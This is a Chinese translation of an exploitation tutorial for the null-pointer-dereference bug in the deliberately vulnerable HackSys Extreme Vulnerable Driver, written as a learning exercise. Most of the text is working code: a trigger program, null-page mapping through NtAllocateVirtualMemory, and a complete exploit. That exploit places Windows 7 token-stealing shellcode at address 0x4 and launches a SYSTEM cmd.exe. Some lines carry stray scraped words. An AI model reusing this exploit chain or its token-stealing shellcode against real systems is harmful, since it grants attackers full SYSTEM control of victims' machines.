原標題:Windows Kernel Exploitation – NullPointer Dereferencehtml
原文地址:https://osandamalith.com/2017...
由prison翻譯整理,首發i春秋git
引言:Windows內核漏洞的利用和學習一直是衆多白帽子心中的痛,相對於web安全來講內核學習方面的文章實在太少,今天爲你們帶來的是Windows內核內核安全學習較爲基礎的文章,步驟完善,適合初學者。難度:三顆星github
今天我要分享的是在HackSy**treme練習程序中對於空指針解引用漏洞的利用方法。web
漏洞概述:資源在這: https://github.com/hacksystea...**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.cshell
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE) ExAllocatePoolWithTag(NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference\n"); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
如你所見,在源代碼中你能夠很清楚的看到程序的一切操做。在第42行,將「userValue」與值「0xBAD0B0B0」進行比較,若是在第58行失敗,則「NullPointerDereference」值被設置爲NULL,在第73行中,值「NullPointerDereference」在調用回調函數以前沒有被驗證。windows
讓咱們把它拆開來看。能夠看到,若是提供的「MagicValue」是錯誤的,那麼「NullPointerDereference」的值將被設置爲NULL,以免指針掛起。安全
xor esi, esi
可是在最後一行,當回調函數被調用時,「NullPointerDereference」的值沒有被驗證,它是NULL。所以,這致使了一個BSOD,不過,有一個例外處理程序能夠避免這一點。ide
測試漏洞我將使用這個驅動程序頭文件中提供的IOCTL值。函數
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
如今將0xBAD0B0B0做爲用戶輸入賦值給」MagicValue’web安全
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) int _tmain(int argc, _TCHAR* argv[]) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver"; ULONG MagicValue = 0xBAD0B0B0; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return 1; } wprintf(L"[+] Sending IOCTL request\n"); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); CloseHandle(hDevice); return 0; } https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp
而後你會看到,屏幕中打印出「[+] Null Pointer Dereference Object Callback」字樣,這說明回調函數執行成功。
而若是咱們想搞點不同的姿式的話能夠傳遞一個錯誤的「MagicValue」值,好比「0xBaadBabe」,因爲異常被處理,BSOD將被阻止。
ULONG MagicValue = 0xBaadBabe;
我在這搞了個斷點。
call dword ptr [esi+4]
一旦我用錯誤的「MagicValue」觸發漏洞,咱們就會碰到斷點。如今的問題是在地址0×00000004上分配咱們的指針到shell代碼。
如何在0×4分配DWORD?
像VirtualAlloc或VirtualAlloc這樣的函數不容許咱們在小於0×00001000的起始地址分配內存。所以,咱們將不得不使用NTAPI無參數函數的「NtAllocateVirtualMemory」來在用戶空間中映射一個空頁,而後,咱們能夠在地址0×00000004上寫一個指向shell代碼的指針。
NTSTATUS NtAllocateVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); https://undocumented.ntinternals.net
下面是一個示例代碼,我在地址0×4中分配了值「0×12345678」
#include "stdafx.h" #include <windows.h> typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); int _tmain(int argc, _TCHAR* argv[]) { PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)0x12345678; } https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp
若是咱們檢查內存轉儲,咱們能夠看到咱們在地址0×4中成功地分配了一個DWORD。
最終利用咱們如今能夠綜合一下上述所獲得的全部線索,把咱們的shell代碼寫到0×4並傳遞一個錯誤的「MagicValue」值來觸發漏洞。
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Shlobj.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); VOID TokenStealingShellcodeWin7() { __asm { ; initialize pushad; save registers state xor eax, eax; Set zero mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM ; to current process popad; restore registers state } } int _tmain(void) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver"; STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; ULONG MagicValue = 0xBaadBabe; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n"); wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError()); return -1; } PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7; wprintf(L"[+] Sending IOCTL request\n"); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); ZeroMemory(&si, sizeof si); si.cb = sizeof si; ZeroMemory(&pi, sizeof pi); IsUserAnAdmin() ? CreateProcess( L"C:\\Windows\\System32\\cmd.exe", L"/T:17", NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFO *)&si, (PROCESS_INFORMATION *)&pi) : wprintf(L"[!] Exploit Failed!"); CloseHandle(hDevice); return 0; }
https://github.com/OsandaMali...如今 在「calldword ptr [esi+4]」這個設置斷點的地方, 驗證咱們的exp而且查看內存中0×4的位置。
而後咱們檢查它指向哪裏,能夠看出它正在指向咱們的token竊取代碼。
OK~大功告成,這是咱們拿到的shell。